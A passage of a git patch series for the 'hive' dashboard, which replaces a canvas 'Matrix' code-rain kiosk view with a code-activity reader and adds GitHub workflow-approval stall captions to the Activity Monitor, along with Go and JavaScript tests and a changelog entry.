languages[k].words = new Set(languages[k].words.split(' ')); }); - function paused(){ return manualPause || document.hidden; } - // Height of the bottom band the freshness HUD occupies, so typed rows - // never run under it in any effect (#16441). 100px is the floor used - // before the HUD was measured. - function hudBand(){ return Math.max(100, (labels.offsetHeight || 0) + 32); } - function resize(){ - width = window.innerWidth; height = window.innerHeight; - canvas.width = width; canvas.height = height; - drops = []; - ctx.font = '16px monospace'; - charW = (ctx.measureText && ctx.measureText('M').width) || 10; - } - function resetText(){ queue = []; tabs = []; typing = null; termRows = []; termHead = ''; termClock = 0; } - function clearContent(message){ - enabled = false; lines = []; drops = []; glyphs.clear(); resetText(); - lastSeq = 0; lastAt = 0; lastIngestAt = 0; - list.replaceChildren(); ctx.clearRect(0, 0, width, height); - notice.textContent = message; - sync(); - } - function updateLabels(){ - var minutes = Math.floor(Math.max(0, Date.now() - (lastAt || startedAt)) / 60000); - var text = minutes >= 10 ? 'stale Β· no new lines for ' + minutes + 'm' : - (lastAt ? 'last line ' + (minutes ? minutes + 'm ago' : 'just now') : 'waiting for first line'); - // When stale, say whether the hive is still looking: a recent ingest - // means nothing was pushed, an old one means the feed itself is behind. - if (minutes >= 10 && lastIngestAt) { - var ingestMinutes = Math.floor(Math.max(0, Date.now() - lastIngestAt) / 60000); - text += ' Β· last ingest ' + (ingestMinutes ? ingestMinutes + 'm ago' : 'just now'); - } - freshness.textContent = text; - pausedLabel.textContent = paused() ? 'paused' : 'p / Space to pause'; - } - function caption(line){ return line.repo + '#' + line.pr + ' Β· ' + line.path; } - function prKey(line){ return line.repo + '#' + line.pr; } - function nextLine(key){ - if (!queue.length) queue = lines.slice(); - var at = 0; - for (var i = 0; key && i < queue.length; i++) if (prKey(queue[i]) === key) { at = i; break; } - return queue.splice(at, 1)[0] || null; - } - // Minimal keyword/string/comment/number colouring keyed on the extension; - // unknown extensions render in the palette colour. - function tokens(path, text){ - var ext = (/\.([^.\/]+)$/.exec(path || '') || [])[1]; - var lang = languages[extensions[ext ? ext.toLowerCase() : '']]; - if (!lang) return [{text: text, color: color}]; - var out = [], last = 0, match; - var pattern = /("(?:[^"\\]|\\.)*"?|'(?:[^'\\]|\\.)*'?|`[^`]*`?)|(\b\d[\w.]*)|([A-Za-z_$][\w$]*)|(\/\/|#)/g; - function push(t, c){ if (t) out.push({text: t, color: c}); } - while ((match = pattern.exec(text))) { - push(text.slice(last, match.index), color); - last = pattern.lastIndex; - if (match[4] === lang.comment) { push(text.slice(match.index), syntaxColors.comment); last = text.length; break; } - push(match[0], match[1] ? syntaxColors.string : match[2] ? syntaxColors.number : - match[3] && lang.words.has(match[0]) ? syntaxColors.keyword : color); - } - push(text.slice(last), color); - return out; - } - function openTab(line){ - var key = prKey(line), tab = null; - tabs.forEach(function(t){ if (t.key === key) tab = t; }); - if (!tab) { - tab = {key: key, rows: [], count: 0}; tabs.push(tab); - if (tabs.length > 6) tabs.shift(); - } - tab.path = line.path; - return tab; - } - function startTyping(line){ - typing = line ? {tab: openTab(line), line: line, chars: Array.from(line.line), typed: 0} : null; - } - function drawGhost(dt, now){ - if (!typing) startTyping(nextLine('')); - if (!typing) return; - typing.typed += dt * 40; - // A short beat at the end of each line before the next one starts. - if (typing.typed >= typing.chars.length + 4) { - var done = typing.tab; - done.count++; - done.rows.push({n: done.count, path: typing.line.path, text: typing.line.line}); - if (done.rows.length > 200) done.rows.shift(); - startTyping(nextLine(done.key)); - if (!typing) return; - } - var tab = typing.tab, top = 34, tabW = Math.min(240, width / Math.max(1, tabs.length)); - ctx.font = '13px monospace'; - tabs.forEach(function(t, i){ - ctx.fillStyle = t === tab ? '#0b2a16' : '#02140a'; - ctx.fillRect(i * tabW, 0, tabW - 2, 28); - ctx.fillStyle = t === tab ? color : muted; - ctx.fillText(t.path, i * tabW + 10, 19, tabW - 20); - }); - if (captions) { - ctx.fillStyle = '#b8ccbb'; ctx.font = '12px monospace'; - ctx.fillText(caption(typing.line), 10, 48, width - 20); - top = 56; - } - ctx.font = '16px monospace'; - var visible = Math.max(1, Math.floor((height - top - hudBand()) / rowH)); - var current = {n: tab.count + 1, path: typing.line.path, text: typing.chars.slice(0, Math.floor(typing.typed)).join(''), current: true}; - tab.rows.slice(-(visible - 1) || tab.rows.length).concat([current]).forEach(function(row, i){ - var y = top + (i + 1) * rowH, col = 0; - ctx.fillStyle = muted; ctx.fillText(String(row.n), 10, y); - tokens(row.path, row.text).forEach(function(token){ - ctx.fillStyle = token.color; ctx.fillText(token.text, 60 + col * charW, y); - col += Array.from(token.text).length; - }); - if (row.current && Math.floor(now / 530) % 2 === 0) { ctx.fillStyle = color; ctx.fillRect(60 + col * charW, y - 14, 2, 18); } - }); - } - function emitTerminal(){ - var line = nextLine(''); - if (!line) return; - if (caption(line) !== termHead) { - termHead = caption(line); - if (captions) { - if (termRows.length) termRows.push({text: '', color: color}); - termRows.push({text: termHead, color: '#b8ccbb'}); - } - } - termRows.push({text: '+ ' + line.line, color: color}); - var keep = Math.ceil(height / rowH) + 4; - if (termRows.length > keep) termRows = termRows.slice(-keep); - } - function drawTerminal(dt){ - if (!termRows.length) emitTerminal(); - termClock += dt * 4; - while (termClock >= 1) { termClock -= 1; emitTerminal(); } - var bottom = height - hudBand(); - ctx.font = '16px monospace'; - termRows.forEach(function(row, i){ - var y = bottom - (termRows.length - 1 - i + termClock) * rowH; - if (y < -rowH || !row.text) return; - ctx.fillStyle = row.color; ctx.fillText(row.text, 10, y, width - 20); - }); - } - function staticPage(){ - list.replaceChildren(); - var latest = lines.slice(-60).reverse(); - if (page * 8 >= latest.length) page = 0; - latest.slice(page * 8, page * 8 + 8).forEach(function(line){ - var row = document.createElement('div'); - var label = document.createElement('small'); - label.textContent = caption(line); - var text = document.createElement('pre'); - text.textContent = line.line; - row.append(label, text); list.appendChild(row); - }); - } - function buildAtlas(){ - // Bounded by the same latest-line window as the renderer. No synthetic - // characters: every glyph in a column belongs to an incoming line. - glyphs.clear(); - lines.forEach(function(line){ Array.from(line.line).forEach(function(g){ - if (!glyphs.has(g)) glyphs.set(g, glyphs.size); - }); }); - atlas.width = 64 * cell; - atlas.height = Math.max(cell, Math.ceil(glyphs.size / 64) * cell); - var ac = atlas.getContext('2d'); - ac.font = '16px monospace'; ac.fillStyle = color; - glyphs.forEach(function(i, g){ ac.fillText(g, (i % 64) * cell, Math.floor(i / 64) * cell + 16); }); - } - function spawn(x){ - var line = lines[Math.floor(Math.random() * lines.length)]; - return {x: x, y: -Math.random() * height, speed: 25 + Math.random() * 65, - line: line, chars: Array.from(line.line)}; - } - function draw(now){ - frame = 0; - if (paused() || motion.matches || !enabled) return; - if (!previous) previous = now; - var elapsed = now - previous; - if (elapsed >= 1000 / fps) { - previous = now; - var dt = Math.min(elapsed, 100) / 1000 * speed; - ctx.fillStyle = effect === 'rain' ? 'rgba(0, 8, 4, 0.18)' : '#000804'; - ctx.fillRect(0, 0, width, height); - ctx.font = '16px monospace'; - if (lines.length && effect === 'ghost') drawGhost(dt, now); - else if (lines.length && effect === 'terminal') drawTerminal(dt); - else if (lines.length) { - var count = effect === 'rain' ? Math.ceil(width / cell) : 12; - while (drops.length < count) drops.push(spawn(effect === 'rain' ? drops.length * cell : Math.random() * width * 0.5)); - drops.forEach(function(drop, i){ - drop.y += drop.speed * dt; - if (drop.y > height + 40) { drops[i] = spawn(drop.x); return; } - if (effect === 'cascade') { - ctx.fillStyle = color; ctx.fillText(drop.line.line, drop.x, drop.y, width - drop.x); - if (captions) { - ctx.fillStyle = '#b8ccbb'; ctx.font = '12px monospace'; - ctx.fillText(caption(drop.line), drop.x, drop.y + 18, width - drop.x); - ctx.font = '16px monospace'; - } - } else if (drop.chars.length) { - var g = drop.chars[Math.floor(drop.y / cell + drop.chars.length * 100) % drop.chars.length]; - var index = glyphs.get(g); - if (index !== undefined) ctx.drawImage(atlas, (index % 64) * cell, Math.floor(index / 64) * cell, cell, cell, drop.x, drop.y, cell, cell); - ctx.fillStyle = '#effff2'; ctx.fillText(g, drop.x, drop.y + 16); - } - }); - } - } - frame = requestAnimationFrame(draw); - } - function sync(){ - if (frame) cancelAnimationFrame(frame); - frame = 0; previous = 0; - clearTimeout(pageTimer); pageTimer = 0; - updateLabels(); - canvas.hidden = motion.matches || !enabled; - list.hidden = !motion.matches || !enabled; - if (!enabled || paused()) return; - if (motion.matches) { - staticPage(); - pageTimer = setTimeout(function(){ page++; sync(); }, 15000); - } else frame = requestAnimationFrame(draw); - } - pull = function(){ - if (loading) { pending = true; return; } - loading = true; pending = false; - fetch('/api/matrix/lines?since=' + lastSeq, {cache: 'no-store', credentials: 'same-origin'}) - .then(function(response){ - if (response.status === 404) { clearContent('Matrix mode is not enabled on this hive'); return null; } - if (response.status === 401 || response.status === 403) { clearContent('Sign in with permission to read Matrix lines'); return null; } - if (!response.ok) throw new Error('Matrix pull failed'); - return response.json(); - }).then(function(data){ - if (!data) return; - var incoming = (Array.isArray(data.lines) ? data.lines : []).filter(function(line){ return typeof line.line === 'string'; }); - var seq = Number(data.seq) || 0; - // A restarted hive can reset its sequence; replace the old backlog. - if (seq < lastSeq) { lines = []; drops = []; resetText(); } - if (seq !== lastSeq && incoming.length) { - var at = Date.parse(incoming[incoming.length - 1].at); - lastAt = Number.isFinite(at) ? at : Date.now(); - } - lastSeq = seq; - var ingestAt = Date.parse(data.last_ingest_at); - lastIngestAt = Number.isFinite(ingestAt) ? ingestAt : 0; - lines = lines.concat(incoming).slice(-120); - queue = queue.concat(incoming).slice(-120); - enabled = true; - notice.textContent = lines.length ? '' : 'Waiting for pushed lines…'; - if (!motion.matches) buildAtlas(); - sync(); - }).catch(function(){ clearContent('Matrix lines unavailable Β· retrying'); }) - .finally(function(){ loading = false; if (pending) pull(); }); - }; - document.addEventListener('visibilitychange', function(){ sync(); if (!document.hidden) pull(); }); - document.addEventListener('keydown', function(event){ - if (event.ctrlKey || event.metaKey || event.altKey || event.repeat || - /INPUT|TEXTAREA|SELECT/.test(event.target.tagName) || event.target.isContentEditable) return; - if (event.key === 'p' || event.key === 'P' || event.code === 'Space') { - event.preventDefault(); manualPause = !manualPause; sync(); - } - }); - motion.addEventListener('change', function(){ - ctx.clearRect(0, 0, width, height); - if (!motion.matches) buildAtlas(); - sync(); - }); - window.addEventListener('resize', resize); - resize(); sync(); pull(); - // Recover from missed nudges, endpoint activation and transient failures. - if (typeof dashboardSetInterval === 'function') { - dashboardSetInterval('matrix-poll', function(){ updateLabels(); if (!document.hidden) pull(); }, 30000); - } - }; -})(); // Code activity reader (#16475): changed regions as readable paragraphs on // the kiosk. Opt-in like Matrix and fed by the same authorized pull endpoint // (the shared SSE stream only nudges). Code is always set with textContent. @@ -7780,13 +7416,9 @@ (function(){ var kiosk=false, popout=false, display=false, view='', sound=true, density='', shift=false; try { var u=new URL(window.location.href); kiosk=u.searchParams.get('kiosk')==='1'; view=u.searchParams.get('view'); popout=u.searchParams.get('popout')==='1'; display=u.searchParams.get('display')==='1'; density=u.searchParams.get('density')==='tv'?'tv':''; shift=u.searchParams.get('shift')==='1'; sound=new URL(window.location.href).searchParams.get('sound')!=='off'; } catch(e) {} - window.HIVE_MATRIX = kiosk && view === 'matrix'; - if(window.HIVE_MATRIX){ - document.body.classList.add('matrix-mode'); - document.addEventListener('DOMContentLoaded', function(){ typeof hiveMatrixStart === 'function' && hiveMatrixStart(); }); - } - // Code activity reader (#16475): same opt-in data as Matrix, read as paragraphs. - window.HIVE_READER = kiosk && view === 'reader'; + // Code activity is the sole opt-in code display (#16477); view=matrix is a + // deprecated alias so saved Matrix display URLs open the reader. + window.HIVE_READER = kiosk && (view === 'reader' || view === 'matrix'); if(window.HIVE_READER){ document.body.classList.add('reader-mode'); document.addEventListener('DOMContentLoaded', function(){ typeof hiveReaderStart === 'function' && hiveReaderStart(); }); @@ -8306,8 +7938,7 @@ <h2 class="config-title">🐝 Getting Started<span id="welcome-progress" class=" <div class="oc-topbar-right"> <button type="button" class="nav-chip nav-chip--icon nav-chip--action feedback-bug-btn" id="feedback-bug-btn" data-action="openFeedbackModal" data-arg0="submit" title="Report a bug or request a feature" aria-label="Report a bug or request a feature"><span class="nav-chip__icon" aria-hidden="true">πŸ›</span><span class="feedback-pill" id="feedback-unread-pill" hidden>0</span></button> <button class="nav-chip nav-chip--icon nav-chip--action layout-toggle" data-action="toggleLayout" title="Switch to Dark Mode" aria-label="Switch to Dark Mode">☾</button> - <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=matrix" title="Matrix display β€” opt-in code rain" aria-label="Matrix display" hidden><span class="nav-chip__label">Matrix</span></a> - <a class="nav-chip nav-chip--action" id="oc-reader-tab" href="?kiosk=1&view=reader" title="Code activity reader β€” pushed changes as readable paragraphs" aria-label="Code activity reader" hidden><span class="nav-chip__label">Reader</span></a> + <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=reader" target="_blank" rel="noopener" title="Code activity β€” published pushed changes as readable paragraphs (opens in a new tab)" aria-label="Code activity" hidden><span class="nav-chip__label">Code activity</span></a> <button type="button" class="nav-chip nav-chip--action" id="oc-settings-btn" data-action="openConfigDialog" data-arg0="governor" title="Settings β€” governor, agents, thresholds, and all hive settings" aria-label="Settings"><span class="nav-chip__icon" aria-hidden="true">βš™</span><span class="nav-chip__label">Settings</span></button> <span id="dashboard-custom-style-note" class="nav-chip nav-chip--status nav-chip--neutral dashboard-custom-style-note" style="display:none" role="status"></span> <!-- Agent Logs hidden (redundant with per-agent output) --> @@ -45444,10 +45075,8 @@ <h3 class="modal-h">How Agents Use Knowledge (Priming)</h3> _lastStatusSeq = data.statusSeq; } if (typeof data.matrixEnabled === 'boolean') { - const matrixTab = document.getElementById('oc-matrix-tab'); - if (matrixTab) matrixTab.hidden = !data.matrixEnabled; - const readerTab = document.getElementById('oc-reader-tab'); - if (readerTab) readerTab.hidden = !data.matrixEnabled; + const codeActivityTab = document.getElementById('oc-matrix-tab'); + if (codeActivityTab) codeActivityTab.hidden = !data.matrixEnabled; } if (document.body.style.opacity === '0') document.body.style.opacity = '1'; const scrollAnchor = captureScrollAnchor(); @@ -51884,7 +51513,6 @@ <h3 style="color:var(--amber);text-align:center">Configure LiteLLM</h3> if (_eventSource) { _eventSource.onerror = null; _eventSource.onmessage = null; _eventSource.close(); _eventSource = null; } const source = new EventSource('/api/events'); _eventSource = source; - if (window.HIVE_MATRIX) window.hiveMatrixAttach(source); if (window.HIVE_READER) window.hiveReaderAttach(source); _sseOpenedAtMs = Date.now(); _sseLastFrameAtMs = 0; diff --git a/src/pkg/dashboard/webstatic/dashboard_script_test.go b/src/pkg/dashboard/webstatic/dashboard_script_test.go index b1639b1c16..c4a873902e 100644 --- a/src/pkg/dashboard/webstatic/dashboard_script_test.go +++ b/src/pkg/dashboard/webstatic/dashboard_script_test.go @@ -125,7 +125,7 @@ func TestDashboardScriptRealIndexShellBudget(t *testing.T) { t.Fatal("real inline boot script changed") } for _, global := range []string{ - "window.HIVE_MATRIX", "window.HIVE_KIOSK", "window.HIVE_POPOUT", + "window.HIVE_READER", "window.HIVE_KIOSK", "window.HIVE_POPOUT", "window.HIVE_DISPLAY", "window.hiveURLWithHash", "window.hiveKioskCTAOn", } { if !bytes.Contains(retained[0], []byte(global)) || From ff4b0be3ed2e06ec2b93a72cb784331fe705efa1 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 11:37:37 -0500 Subject: [PATCH 79/87] =?UTF-8?q?=E2=9C=A8=20Activity=20Monitor=20chevrons?= =?UTF-8?q?:=20active-with-text=20/=20icon-only=20spec,=20ring=20glyph,=20?= =?UTF-8?q?workflow-approval=20stall=20caption=20(#16600)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ✨ Activity Monitor chevrons: active-with-text / icon-only spec, ring glyph, workflow-approval stall Fixes #16599 - 1 <= active <= 2 chevrons per row: the stage column is always lit (at 050 the Review column, even while queued); a CI/Review track lights only while genuinely running on the current head. Inactive chevrons are icon only (neutral / red / green); counts move to the tooltip. - CI/Review icons become a segmented ring (stageTrackerRingSvg) that fills with passed checks / posted perspectives, newest step pulsing while running; tokens only, aria-labelled. - When nothing runs the blocker column is filled in a still stalled style, with a person glyph for human actions: 'CI 1/11 Β· waiting on workflow approval' from pkg/github's new PRCIActivity.WorkflowApproval probe of action_required runs (90s per-head cache). - Review-pending rows never read unknown / default 5/5: stageTrackerReview- PendingState yields reviewing (N/5 in progress) or adjudicating. - Node + Go tests: ring, workflow approval, review pending, row fixtures (#16567 gated, #427 queued, #16456, #16268, both-running) asserting words only on active chevrons and 1 <= lit <= 2. Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› Address #16600 review: bound workflow-approval cache, fix CI - forgetWorkflowApproval now has callers: CI webhook deliveries for a head drop its cached probe; the cache also evicts entries older than 30m so the package-global map stays bounded (reviewer finding). - Detail no longer names a config key that does not exist yet. - Drop trackerReviewPendingStage duplicate of trackerNumberReviewPending. - MotionPreviewSample writes its node script to a temp file instead of node -e (argument list too long on Linux runners). - Fix RankActionableIssues citation drift in scale-envelope.md. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- ...599-chevron-spec-ring-workflow-approval.md | 1 + src/docs/scale-envelope.md | 2 +- src/pkg/dashboard/stage_tracker_activity.go | 75 ++++++++ .../dashboard/stage_tracker_activity.test.js | 73 +++++-- src/pkg/dashboard/stage_tracker_build.go | 2 + .../dashboard/stage_tracker_motion_test.go | 10 +- .../stage_tracker_remediation_chevron.test.js | 49 +++-- src/pkg/dashboard/stage_tracker_ring_test.go | 58 ++++++ .../stage_tracker_ui_prelude_test.go | 27 ++- .../dashboard/stage_tracker_ui_rows_test.go | 50 ++++- .../stage_tracker_workflow_approval_test.go | 98 ++++++++++ src/pkg/dashboard/static-src/css/tracker.css | 26 ++- .../static-src/js/tracker-row-strip.js | 155 ++++++++++++--- src/pkg/dashboard/static/index.html | 181 +++++++++++++++--- src/pkg/github/client.go | 6 + src/pkg/github/pr_ci_activity.go | 3 + src/pkg/github/webhook_ci_evidence.go | 9 + src/pkg/github/workflow_approval.go | 130 +++++++++++++ src/pkg/github/workflow_approval_test.go | 69 +++++++ 19 files changed, 933 insertions(+), 91 deletions(-) create mode 100644 changelog.d/added-16599-chevron-spec-ring-workflow-approval.md create mode 100644 src/pkg/dashboard/stage_tracker_ring_test.go create mode 100644 src/pkg/dashboard/stage_tracker_workflow_approval_test.go create mode 100644 src/pkg/github/workflow_approval.go create mode 100644 src/pkg/github/workflow_approval_test.go diff --git a/changelog.d/added-16599-chevron-spec-ring-workflow-approval.md b/changelog.d/added-16599-chevron-spec-ring-workflow-approval.md new file mode 100644 index 0000000000..8282daf6aa --- /dev/null +++ b/changelog.d/added-16599-chevron-spec-ring-workflow-approval.md @@ -0,0 +1 @@ +- Activity Monitor chevrons follow the canonical spec ([#16599](https://github.com/hivecommons/hive/issues/16599)): a row always has 1–2 **active** chevrons (amber fill + counted caption) β€” the item's stage column, plus a CI/Review track only while it genuinely runs on the current head; every other chevron is an **icon only** (neutral not-yet-run, red failed/changes requested, green passed/approved) with its counts and the backend sentence in the tooltip. CI and Review icons are a tiny ring segmented into `checks_total` / `perspectives_total` steps that fills clockwise (pass green, fail red, newest step pulsing while running). When nothing moves the blocker column is filled in a still stalled style, e.g. `CI 1/11 Β· waiting on workflow approval` for heads whose workflow runs are `action_required` on GitHub (new `PRCIActivity.WorkflowApproval`, blocker `workflow-approval-required:N`). Review-pending rows never read `Review unknown` / a default `5/5`: with no verdict bundle on the head they are `Review N/5 Β· in progress` (N = verdicts actually posted) or `Β· adjudicating`. diff --git a/src/docs/scale-envelope.md b/src/docs/scale-envelope.md index 7c240be68b..da1e0b420a 100644 --- a/src/docs/scale-envelope.md +++ b/src/docs/scale-envelope.md @@ -34,7 +34,7 @@ ones to: 2. **Truncation must preserve the prioritization signal, not cut an arbitrary slice.** This holds today and is easy to assume backwards: - Issues are sorted by actionable rank tier, then **oldest first** within each tier before any cap is applied - (`RankActionableIssues`, `src/pkg/github/client.go:5122-5134`, descending `AgeMinutes` within each tier). + (`RankActionableIssues`, `src/pkg/github/client.go:5133-5145`, descending `AgeMinutes` within each tier). - PRs are sorted by **review class then oldest-first within class** (`SortPullRequestsForReview`, `src/pkg/github/review_priority.go:334`; fixes β†’ refactors/docs β†’ tests). diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index 94e5cf04be..e85ee45610 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -202,6 +202,21 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA out.Caption = "CI queued Β· " + check + " waiting for a runner" out.Detail = "Required check " + check + " has been requested for the PR's current commit but has not started executing yet." case "missing": + if wa := a.WorkflowApproval; wa != nil && wa.Pending > 0 { + // Unreported because GitHub holds the runs behind its + // approve-workflows gate: a person's click, not a push, + // moves it (hivecommons/hive#16599). + out.Blocker = stageTrackerWorkflowApprovalBlocker(wa.Pending) + out.Caption = fmt.Sprintf("CI waiting Β· %s %s approval on GitHub", plural(wa.Pending, "workflow run"), pluralVerb(wa.Pending, "needs", "need")) + out.Detail = fmt.Sprintf("%s for the PR's current commit %s waiting for a maintainer to approve workflows on GitHub (the gate GitHub applies to dependabot and first-time or fork contributors), so required check %s cannot report until someone approves them.", plural(wa.Pending, "workflow run"), pluralVerb(wa.Pending, "is", "are"), check) + if wa.Actor != "" { + out.Actor = wa.Actor + } + if wa.ObservedAt != nil { + out.Since = wa.ObservedAt + } + break + } out.Caption = "CI waiting Β· required check " + check + " hasn't reported for this head yet" out.Detail = "Branch protection requires a check named " + check + ", but no check run or commit status with that name exists for the PR's current commit. Usually the workflow that produces it has not been triggered; a push, re-run, or label can start it." case "unknown": @@ -223,6 +238,22 @@ func stageTrackerCIActivity(pr github.PullRequest, now time.Time) *StageTrackerA return out } +// stageTrackerWorkflowApprovalBlockerPrefix leads the CI blocker when the +// unreported checks are workflow runs waiting on GitHub's approve-workflows +// gate; the strip reads the count after the colon. +const stageTrackerWorkflowApprovalBlockerPrefix = "workflow-approval-required:" + +func stageTrackerWorkflowApprovalBlocker(n int) string { + return fmt.Sprintf("%s%d", stageTrackerWorkflowApprovalBlockerPrefix, n) +} + +func pluralVerb(n int, one, many string) string { + if n == 1 { + return one + } + return many +} + // stageTrackerCountHeadChecks fills the check counts from every check run // observed on the head when the required set is not known: one entry per // check name, red if any run of that name is red, green only if its latest @@ -339,6 +370,50 @@ func stageTrackerCountPerspectives(out *StageTrackerActivity, pr github.PullRequ } } +// stageTrackerReviewPendingState resolves the Review track for a PR the +// stage itself says is under review (050) when no verdict settled it: the +// swarm is in progress, so the track is "reviewing" (active) with the +// count of perspectives that posted for the current head β€” never +// "unknown", which left review-pending rows with no lit chevron +// (hivecommons/hive#16599). Without a head bundle or aggregate no +// perspective has posted: done is 0, whatever earlier rounds left behind. +func stageTrackerReviewPendingState(out *StageTrackerActivity, stage int, stageSince *time.Time) { + if out == nil || out.State != "unknown" || stage != trackerNumberReviewPending { + return + } + bundleSeen := strings.Contains(out.Source, "verified-review-bundle") + if !bundleSeen { + out.PerspectivesDone = 0 + } + total := out.PerspectivesTotal + done := out.PerspectivesDone + if total > 0 && done >= total && bundleSeen { + out.State = "adjudicating" + out.Caption = fmt.Sprintf("Review %d/%d Β· verdicts in Β· aggregating", done, total) + out.Detail = "Every perspective has posted a verdict for the PR's current commit; hive is combining them into the review decision." + } else { + out.State = "reviewing" + out.Caption = fmt.Sprintf("Review %d/%d Β· in progress", done, total) + out.Detail = fmt.Sprintf("The PR is at review pending: %d of %s have posted a verdict for the PR's current commit; the rest are still reviewing or waiting for a reviewer.", done, plural(total, "perspective")) + } + out.Active = true + // The stage label is the observation; its time is when the label + // landed (stable across rebuilds, so the payload ETag does not move). + if out.ObservedAt == nil && stageSince != nil { + at := *stageSince + out.ObservedAt = &at + } + if out.Since == nil && stageSince != nil { + at := *stageSince + out.Since = &at + } + if out.Source == "" || out.Source == "unavailable" { + out.Source = "stage-review-pending" + } else { + out.Source += "+stage-review-pending" + } +} + func trackerHeadMatches(repo string, number int, head, observedRepo string, observedNumber int, observedHead string) bool { return number == observedNumber && head != "" && strings.EqualFold(head, observedHead) && strings.EqualFold(repo, observedRepo) } diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index a2ee508b03..41ca00b281 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -22,7 +22,14 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +function constLine(source, name) { + const match = source.match(new RegExp('const ' + name + ' = [^\\n]*;')); + assert.ok(match, name); + return match[0]; +} +const trackConsts = ['STAGE_TRACKER_WORKFLOW_APPROVAL_BLOCKER', 'STAGE_TRACKER_WORKFLOW_APPROVAL_TIP', 'STAGE_TRACKER_RING_SEGMENT_GAP_MAX', 'STAGE_TRACKER_RING_RADIUS', 'STAGE_TRACKER_RING_GAP_DEG'].map(name => constLine(strip, name)).join('\n'); +const trackFns = ['stageTrackerTrackLead', 'stageTrackerWaitingOnPerson', 'stageTrackerTrackRunning', 'stageTrackerWorkflowApprovalPending', 'stageTrackerRingSvg', 'stageTrackerStalledTrack', 'stageTrackerQueueAheadWord', 'stageTrackerStageTrack', 'stageTrackerHiveOwnsRepair', 'stageTrackerTrackWord', 'stageTrackerActivityTrackHtml'].map(name => fn(strip, name)).join('\n'); +const track = new Function('esc', 'stageTrackerIcon', trackConsts + '\n' + trackFns + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -116,7 +123,7 @@ function stageTrackerActorKind() { return ''; } function stageTrackerActorTip() { return ''; } function stageTrackerMotion() { return STAGE_TRACKER_MOTION_STATIC; } function stageTrackerIcon(n) { return '<svg data-icon="' + n + '"></svg>'; } -` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track, ...Object.values(helpers)); +` + fn(strip, 'stageTrackerWaitingOnPerson') + fn(strip, 'stageTrackerTrackRunning') + fn(strip, 'stageTrackerStageTrack') + fn(strip, 'stageTrackerStalledTrack') + fn(strip, 'stageTrackerStripItems') + ';return stageTrackerStripItems;')(esc, segments, track, ...Object.values(helpers)); const renderStrip = makeStripRenderer(); function physicalTracks(item) { @@ -475,12 +482,17 @@ test('Hive #16434 shape: missing current-head CI and review stay unknown but vis review_activity: { head: 'head', state: 'unknown', caption: 'Review unknown Β· current-head evidence unavailable', source: 'unavailable' }, })); for (const cell of [cells.ci, cells.review]) { - assert.match(cell, /ham-activity-track pending ham-current/, 'absent evidence in the current phase is pending: words, no amber (#16540)'); assert.match(cell, /data-activity-state="unknown"/); assert.match(cell, /data-display-state="unknown"/); assert.doesNotMatch(cell, /data-motion=|ham-activity-track done/); } - assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); + // #16599: at 050 the Review column is the stage's own track β€” active + // with its words even without evidence; CI is the neutral icon alone, + // its words in the tooltip. + assert.match(cells.ci, /ham-activity-track todo ham-current/); + assert.match(cells.ci, /title="Current pipeline phase Β· CI: CI \?\/\? Β· no checks reported yet Β· /); + assert.doesNotMatch(cells.ci, /no checks reported yet</); + assert.match(cells.review, /ham-activity-track active ham-current/); assert.match(cells.review, /Review Β· re-review pending \(new head\)</); assert.doesNotMatch(cells.cells[3], /aria-current|data-motion/); }); @@ -493,7 +505,11 @@ test('Hive #16268 shape: held native Fixing waits for a fixer in the CI/Review p review_activity: activity('approved', 'Review approved'), }); const cells = physicalTracks(item); - assert.match(cells.ci, /pending ham-current/, 'held: unreported checks are not motion (#16540)'); + // #16599: nothing moves and the stage's own track (review) has settled, + // so the unreported CI is the stalled active track: amber-muted, still, + // with its words β€” the row's one filled chevron. + assert.match(cells.ci, /ham-activity-track active ham-stalled ham-current/, 'held: unreported checks are the stalled blocker, not motion'); + assert.doesNotMatch(cells.ci, /data-motion=/); assert.match(cells.ci, /CI \?\/\? Β· no checks reported yet</); assert.match(cells.review, /done ham-current/); assert.match(cells.review, /data-verdict="pass"[^]*ham-track-verdict"><svg [^>]*><\/svg><\/span>/); @@ -510,12 +526,13 @@ test('current phase, running activity, failure and successful completion are ind ['failing', 'CI failing Β· "build" red', false, 'failing'], ['running', 'CI running Β· 1/2 checks done', true, 'active'], ['passing', 